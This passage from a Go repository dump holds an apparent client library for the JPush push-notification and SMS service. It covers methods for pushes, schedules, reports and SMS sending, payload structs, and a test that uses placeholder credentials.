j.MasterSecret) 43 | req.SetHeader("Content-Type", CONTENT_TYPE_JSON) 44 | req.SetProtocolVersion("HTTP/1.1") 45 | req.SetQueryParam("count", strconv.Itoa(count)) 46 | req.SetQueryParam("type", push_type) 47 | 48 | return req.Bytes() 49 | } 50 | 51 | // 发送短信 52 | func (j *JPushClient) SendSms(data []byte) (string, error) { 53 | return j.sendSmsBytes(data) 54 | } 55 | func (j *JPushClient) sendSmsBytes(content []byte) (string, error) { 56 | ret, err := SendPostBytes2(SMS, content, j.AppKey, j.MasterSecret) 57 | if err != nil { 58 | return "", err 59 | } 60 | 61 | if strings.Contains(ret, SUCCESS_FLAG) { 62 | return ret, nil 63 | } 64 | 65 | return "", errors.New(ret) 66 | } 67 | 68 | // Push 推送消息 69 | func (j *JPushClient) Push(data []byte) (string, error) { 70 | return j.sendPushBytes(data) 71 | } 72 | 73 | // CreateSchedule 创建推送计划 74 | func (j *JPushClient) CreateSchedule(data []byte) (string, error) { 75 | return j.sendScheduleBytes(data) 76 | } 77 | 78 | // DeleteSchedule 删除推送计划 79 | func (j *JPushClient) DeleteSchedule(id string) (string, error) { 80 | return j.sendDeleteScheduleRequest(id) 81 | } 82 | 83 | // GetSchedule 获取推送计划 84 | func (j *JPushClient) GetSchedule(id string) (string, error) { 85 | return j.sendGetScheduleRequest(id) 86 | } 87 | 88 | // SendPushString sends a push request and returns the response body as string 89 | func (j *JPushClient) sendPushString(content string) (string, error) { 90 | ret, err := SendPostString(HOST_PUSH, content, j.AppKey, j.MasterSecret) 91 | if err != nil { 92 | return "", err 93 | } 94 | 95 | if strings.Contains(ret, SUCCESS_FLAG) { 96 | return ret, nil 97 | } 98 | 99 | return "", errors.New(ret) 100 | } 101 | 102 | // SendPushBytes sends a push request and returns the response body as string 103 | func (j *JPushClient) sendPushBytes(content []byte) (string, error) { 104 | ret, err := SendPostBytes2(HOST_PUSH, content, j.AppKey, j.MasterSecret) 105 | if err != nil { 106 | return "", err 107 | } 108 | 109 | if strings.Contains(ret, SUCCESS_FLAG) { 110 | return ret, nil 111 | } 112 | 113 | return "", errors.New(ret) 114 | } 115 | 116 | // SendScheduleBytes sends a schedule request and returns the response body as string 117 | func (j *JPushClient) sendScheduleBytes(content []byte) (string, error) { 118 | ret, err := SendPostBytes2(HOST_SCHEDULE, content, j.AppKey, j.MasterSecret) 119 | if err != nil { 120 | return "", err 121 | } 122 | 123 | if strings.Contains(ret, "schedule_id") { 124 | return ret, nil 125 | } 126 | 127 | return "", errors.New(ret) 128 | } 129 | 130 | // SendGetScheduleRequest sends a get schedule request and returns the response body as string 131 | func (j *JPushClient) sendGetScheduleRequest(schedule_id string) (string, error) { 132 | req := Get(HOST_SCHEDULE) 133 | req.SetTimeout(DEFAULT_CONNECT_TIMEOUT*time.Second, DEFAULT_READ_WRITE_TIMEOUT*time.Second) 134 | req.SetHeader("Connection", "Keep-Alive") 135 | req.SetHeader("Charset", CHARSET) 136 | req.SetBasicAuth(j.AppKey, j.MasterSecret) 137 | req.SetHeader("Content-Type", CONTENT_TYPE_JSON) 138 | req.SetProtocolVersion("HTTP/1.1") 139 | req.SetQueryParam("schedule_id", schedule_id) 140 | 141 | return req.String() 142 | } 143 | 144 | // SendDeleteScheduleRequest sends a delete schedule request and returns the response body as string 145 | func (j *JPushClient) sendDeleteScheduleRequest(schedule_id string) (string, error) { 146 | req := Delete(HOST_SCHEDULE) 147 | req.SetTimeout(DEFAULT_CONNECT_TIMEOUT*time.Second, DEFAULT_READ_WRITE_TIMEOUT*time.Second) 148 | req.SetHeader("Connection", "Keep-Alive") 149 | req.SetHeader("Charset", CHARSET) 150 | req.SetBasicAuth(j.AppKey, j.MasterSecret) 151 | req.SetHeader("Content-Type", CONTENT_TYPE_JSON) 152 | req.SetProtocolVersion("HTTP/1.1") 153 | req.SetQueryParam("schedule_id", schedule_id) 154 | 155 | return req.String() 156 | } 157 | 158 | // UnmarshalResponse unmarshals the response body to the map 159 | func UnmarshalResponse(resp string) (map[string]interface{}, error) { 160 | var ret map[string]interface{} 161 | 162 | if len(strings.TrimSpace(resp)) == 0 { 163 | return ret, errors.New("empty response") 164 | } 165 | 166 | err := json.Unmarshal([]byte(resp), &ret) 167 | if err != nil { 168 | return nil, err 169 | } 170 | 171 | if _, ok := ret["error"]; ok { 172 | return nil, errors.New(resp) 173 | } 174 | 175 | return ret, nil 176 | } 177 | -------------------------------------------------------------------------------- /report.go: -------------------------------------------------------------------------------- 1 | package jpush 2 | 3 | import "time" 4 | 5 | // GetReport 获取消息推送结果 6 | func (j *JPushClient) GetReport(msg_ids string) (string, error) { 7 | return j.sendGetReportRequest(msg_ids) 8 | } 9 | 10 | // SendGetReportRequest sends a get report request and returns the response body as string 11 | func (j *JPushClient) sendGetReportRequest(msg_ids string) (string, error) { 12 | req := Get(HOST_REPORT) 13 | req.SetTimeout(DEFAULT_CONNECT_TIMEOUT*time.Second, DEFAULT_READ_WRITE_TIMEOUT*time.Second) 14 | req.SetHeader("Connection", "Keep-Alive") 15 | req.SetHeader("Charset", CHARSET) 16 | req.SetBasicAuth(j.AppKey, j.MasterSecret) 17 | req.SetHeader("Content-Type", CONTENT_TYPE_JSON) 18 | req.SetProtocolVersion("HTTP/1.1") 19 | req.SetQueryParam("msg_ids", msg_ids) 20 | 21 | return req.String() 22 | } 23 | -------------------------------------------------------------------------------- /schedule.go: -------------------------------------------------------------------------------- 1 | package jpush 2 | 3 | import ( 4 | "encoding/json" 5 | "time" 6 | ) 7 | 8 | type Schecule struct { 9 | Cid string `json:"cid"` // 定时任务id 10 | Name string `json:"name"` // 定时任务名称 11 | Enabled bool `json:"enabled"` // 是否启用 12 | Trigger map[string]interface{} `json:"trigger"` // 定时任务触发条件 13 | Push *PayLoad `json:"push"` // 定时任务推送内容 14 | } 15 | 16 | const ( 17 | formatTime = "2006-01-02 15:04:05" 18 | ) 19 | 20 | // NewSchedule 创建定时任务 21 | func NewSchedule(cid, name string, enabled bool, push *PayLoad) *Schecule { 22 | return &Schecule{ 23 | Cid: cid, 24 | Name: name, 25 | Enabled: enabled, 26 | Push: push, 27 | } 28 | } 29 | 30 | // SetCid 设置定时任务id 31 | func (s *Schecule) SetCid(cid string) { 32 | s.Cid = cid 33 | } 34 | 35 | // GetCid 获取定时任务id 36 | func (s *Schecule) GetCid() string { 37 | return s.Cid 38 | } 39 | 40 | // SetName 设置定时任务名称 41 | func (s *Schecule) SetName(name string) { 42 | s.Name = name 43 | } 44 | 45 | // GetName 获取定时任务名称 46 | func (s *Schecule) GetName() string { 47 | return s.Name 48 | } 49 | 50 | // SetEnabled 设置定时任务是否启用 51 | func (s *Schecule) SetEnabled(enabled bool) { 52 | s.Enabled = enabled 53 | } 54 | 55 | // GetEnabled 获取定时任务是否启用 56 | func (s *Schecule) GetEnabled() bool { 57 | return s.Enabled 58 | } 59 | 60 | // SetPayLoad 设置定时任务推送内容 61 | func (s *Schecule) SetPayLoad(push *PayLoad) { 62 | s.Push = push 63 | } 64 | 65 | // SingleTrigger 单次触发 66 | func (s *Schecule) SingleTrigger(t time.Time) { 67 | s.Trigger = map[string]interface{}{ 68 | "single": map[string]interface{}{ 69 | "time": t.Format(formatTime), 70 | }, 71 | } 72 | } 73 | 74 | // PeriodicalTrigger 周期触发 75 | func (s *Schecule) PeriodicalTrigger(start, end, t time.Time, timeUnit string, frequency int, point []string) { 76 | s.Trigger = map[string]interface{}{ 77 | "periodical": map[string]interface{}{ 78 | "start": start.Format(formatTime), 79 | "end": end.Format(formatTime), 80 | "time": t.Format(formatTime), 81 | "time_unit": timeUnit, 82 | "frequency": frequency, 83 | "point": point, 84 | }, 85 | } 86 | } 87 | 88 | // Bytes 转换为字节数组 89 | func (s *Schecule) Bytes() ([]byte, error) { 90 | return json.Marshal(s) 91 | } 92 | -------------------------------------------------------------------------------- /sms_test.go: -------------------------------------------------------------------------------- 1 | package jpush 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "testing" 7 | ) 8 | 9 | func TestSendSMS(t *testing.T) { 10 | 11 | var mobile string 12 | mobile = "xxxx" 13 | var tempid int64 14 | tempid = 1 15 | const code = "141238" 16 | tempara := TempPara{Code: json.RawMessage(code)} 17 | fmt.Printf("mobile is %s\n", string(mobile)) 18 | 19 | smspayload := NewSmsPayLoad() 20 | smspayload.setMobile(&mobile) 21 | smspayload.SetTempId(&tempid) 22 | smspayload.SetTempara(&tempara) 23 | // Send 24 | c := NewJPushClient("appKey", "masterSecret") // appKey and masterSecret can be gotten from https://www.jiguang.cn/ 25 | data, err := smspayload.Bytes() 26 | fmt.Printf("sms is %s\n", string(data)) 27 | if err != nil { 28 | panic(err) 29 | } 30 | res, err := c.SendSms(data) 31 | if err != nil { 32 | fmt.Printf("%+v\n", err) 33 | } else { 34 | fmt.Printf("ok: %v\n", res) 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /smspayload.go: -------------------------------------------------------------------------------- 1 | package jpush 2 | 3 | import "encoding/json" 4 | 5 | type SmsPayLoad struct { 6 | Mobile string `json:"mobile"` // 手机号 7 | Signid int `json:"signid,omitempty"` // 签名ID,该字段为空则使用应用默认签名。 8 | TempId int64 `json:"temp_id,omitempty"` // 短信补充的内容模板 ID。没有填写该字段即表示不使用短信补充功能。 9 | TempPara TempPara `json:"temp_para,omitempty"` // 短信模板中的参数。 10 | 11 | } 12 | type TempPara struct { 13 | Code json.RawMessage `json:"code,string"` 14 | } 15 | 16 | // NewPayLoad 创建一个新的推送对象 17 | func NewSmsPayLoad() *SmsPayLoad { 18 | p := &SmsPayLoad{} 19 | return p 20 | } 21 | 22 | // SetPlatform 设置平台 23 | func (p *SmsPayLoad) setMobile(mobile *string) { 24 | p.Mobile = *mobile 25 | } 26 | func (p *SmsPayLoad) SetSignid(signid *int) { 27 | p.Signid = *signid 28 | } 29 | func (p *SmsPayLoad) SetTempId(tempId *int64) { 30 | p.TempId = *tempId 31 | } 32 | func (p *SmsPayLoad) SetTempara(tempara *TempPara) { 33 | p.TempPara = *tempara 34 | } 35 | 36 | // Bytes 返回推送对象的json字节数组 37 | func (p *SmsPayLoad) Bytes() ([]byte, error) { 38 | payload := struct { 39 | Mobile string `json:"mobile"` // 手机号 40 | Signid int `json:"signid,omitempty"` // 签名ID,该字段为空则使用应用默认签名。 41 | TempId int64 `json:"temp_id,omitempty"` // 短信补充的内容模板 ID。没有填写该字段即表示不使用短信补充功能。 42 | TempPara TempPara `json:"temp_para,omitempty"` // 短信模板中的参数。 43 | }{ 44 | 45 | Mobile: p.Mobile, 46 | Signid: p.Signid, 47 | TempId: p.TempId, 48 | TempPara: p.TempPara, 49 | } 50 | return json.Marshal(payload) 51 | } 52 | --------------------------------------------------------------------------------